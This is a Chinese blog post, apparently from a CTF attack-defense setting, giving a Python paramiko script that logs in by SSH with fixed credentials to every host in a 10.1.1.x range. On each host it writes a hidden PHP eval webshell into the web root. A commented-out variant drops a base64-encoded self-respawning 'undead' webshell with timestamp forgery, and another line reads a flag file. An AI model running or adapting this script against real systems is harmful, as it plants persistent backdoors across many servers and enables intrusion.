首页 > 其他分享 >SSH密码登录(一次性多IP登录)

SSH密码登录(一次性多IP登录)

时间:2022-12-06 15:00:37浏览次数:54  
标签:username key 登录 ip SSH th IP port ssh

 1 #-*- coding:utf-8 -*-
 2 import paramiko
 3 import threading
 4 import queue
 5 
 6 #反弹shell python
 7 q=queue.Queue()
 8 #lock = threading.Lock()
 9 
10 #private_key_path = '/home/auto/.ssh/id_rsa'  # 如果要用密钥登录
11 #private_key_path = "D:\\id_rsa.txt"
12 #key = paramiko.RSAKey.from_private_key_file(private_key_path)
13 
14 # ssh 用户名 密码 登陆
15 def ssh_base_pwd(ip,port,username,passwd,cmd):
16     port = int(port)
17     ssh = paramiko.SSHClient()
18     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
19     ssh.connect(hostname=ip, port=port, username=username, password=passwd)
20     #ssh.connect(hostname=ip, port=port, username=username, key_filename=key)
21     stdin,stdout,stderr = ssh.exec_command(cmd)
22     result = stdout.read()
23     if not result :
24         result = stderr.read()
25     ssh.close()
26     return result.decode()
27 
28 def main(x):
29     cmd = 'cd ../../var/www/html ; echo "<?php @eval(\$_POST[password]); ?>" > .config.php ; '   #批量在文件目录下写入webshell
30     #下面这条语句是写不死马,位置放在/var/www/html/.content.php
31     # cmd = 'echo "PD9waHAKCSAgICBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKCSAgICBzZXRfdGltZV9saW1pdCgwKTsKCSAgICB1bmxpbmsoX19GSUxFX18pOwoJICAgICRmaWxlID0gJy5jb25maWcucGhwJzsKCSAgICAkY29kZSA9ICc8P3BocCBpZihtZDUoJF9HRVRbInBhc3MiXSk9PSIxYTFkYzkxYzkwNzMyNWM2OTI3MWRkZjBjOTQ0YmM3MiIpe0BldmFsKCRfUE9TVFthXSk7fSA/Pic7CgkgICAgLy9wYXNzPXBhc3MKCSAgICB3aGlsZSAoMSl7CgkgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlKTsKCSAgICAgICAgc3lzdGVtKCd0b3VjaCAtbSAtZCAiMjAyMi0xMC0wMSAwOToxMDoxMiIgLmNvbmZpZy5waHAnKTsKCSAgICAgICAgdXNsZWVwKDUwMDApOwoJICAgIH0KPz4K" | base64 -d > /var/www/html/.content.php'
32     # cmd = 'cat /www/admin/flag.txt'           #读取txt文件
33 
34     port = '22'
35     username = 'ctf'
36     passwd = 'ctf'
37 
38     ip = '10.1.1.{}'.format(x)
39     q.put(ip.strip(),block=True, timeout=None)
40     ip_demo=q.get()
41     #判断是否成功
42     try:
43         #lock.acquire()
44         res = ssh_base_pwd(ip_demo,port,username,passwd,cmd)
45         if res:
46             print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
47             #lock.release()
48             #result = ssh_base_pwd(ip_demo,port,username,passwd,cmd)
49             print(res)
50             # 打印内容在E盘下
51             with open("E:\\result.txt","a",encoding='utf-8') as f:
52                 f.write('%s,%s'%(ip_demo,res)+"\n")
53     except:
54         print("[ - ]Ip: %s" % ip_demo +" is Failed")
55     if x > 255:
56         print("Finshed!!!!!!!!")
57     q.task_done()
58 
59 #线程队列部分
60 th=[]
61 th_num=255
62 for x in range(th_num):
63         t=threading.Thread(target=main,args=(x,))
64         th.append(t)
65 for x in range(th_num):
66         th[x].start()
67 for x in range(th_num):
68         th[x].join()
69 
70 #q.join()所有任务完成

 

标签:username,key,登录,ip,SSH,th,IP,port,ssh
From: https://www.cnblogs.com/CloudStrife/p/16955269.html

相关文章

  • eclipse.ini
    贴一下eclipse.ini的配置文件,以便查看:-startupplugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar--launcher.libraryplugins/org.eclipse.equinox.launcher.win32.......
  • javascript手写树形结构
    constarr1=[{menuId:1,name:"系统管理1",parentMenu:null,},{menuId:2,name:"系统管理2",parentMenu:null,},{......
  • IPv6比IPv4有什么优点?我国IPv6发展现状-中科三方
    《推进互联网协议第六版(IPv6)规模部署行动计划》(以下简称《行动计划》)发布实施以来,政府部门、基础电信企业、互联网企业、通信设备与服务提供商、相关中央企业、事业单位、......
  • 完整版在xcode打测试专用ipa包流程​
     前言:有时候,想要把自己的程序运行在别人的iphone手机上,但又不能通过本地真机调试的方法安装,这个时候我们就要打一个测试专用的ipa包给远方的测试小伙伴们测试。​ 步......
  • .net6+wpf制作指定局域网ip无法上网的arp欺诈工具
    摘一段来自网上的arp欺诈解释:ARP欺骗(ARPspoofing),又称ARP毒化(ARPpoisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问......
  • Redis原理 - 对象的数据结构(SDS、Inset、Dict、ZipList、QuickList、SkipList、RedisO
    Redis数据结构1.SDSRedis是用C语言写的,但是对于Redis的字符串,却不是C语言中的字符串(即以空字符’\0’结尾的字符数组),它是自己构建了一种名为简单动态字符串(sim......
  • 直播平台制作,Flutter ChoiceChip 用来实现选择标签效果
    直播平台制作,FlutterChoiceChip用来实现选择标签效果核心使用代码如下 class_ChoiceClipHomeStateextendsState<ChoiceClipHome>{ ///当前选中的索引 int?_......
  • Docker容器ssh
    aptinstallopenssh-servervim/etc/ssh/sshd_configPort22/etc/init.d/sshstart出现错误#servicesshstart*StartingOpenBSDSecureShellserversshd......
  • Python编程中,在 Eclipse 中使用 P8 编码规范工具
    python的编码在其出生时就有PEP8规范来指导,以下步骤是在eclipse上设置PEP8代码规范检查,并由eclipse自动调整代码格式1、eclipse->window->Preferences->PyDev->Editor->Code......
  • win10 登录 Samba
    Samba 1. 选择一个空闲的驱动器(默认即可),填入"\计算云IP地址\用户名",点击完成在弹窗中输入设置的用户名和密码(samba密码)  2.然后输入用户名密码即可 ......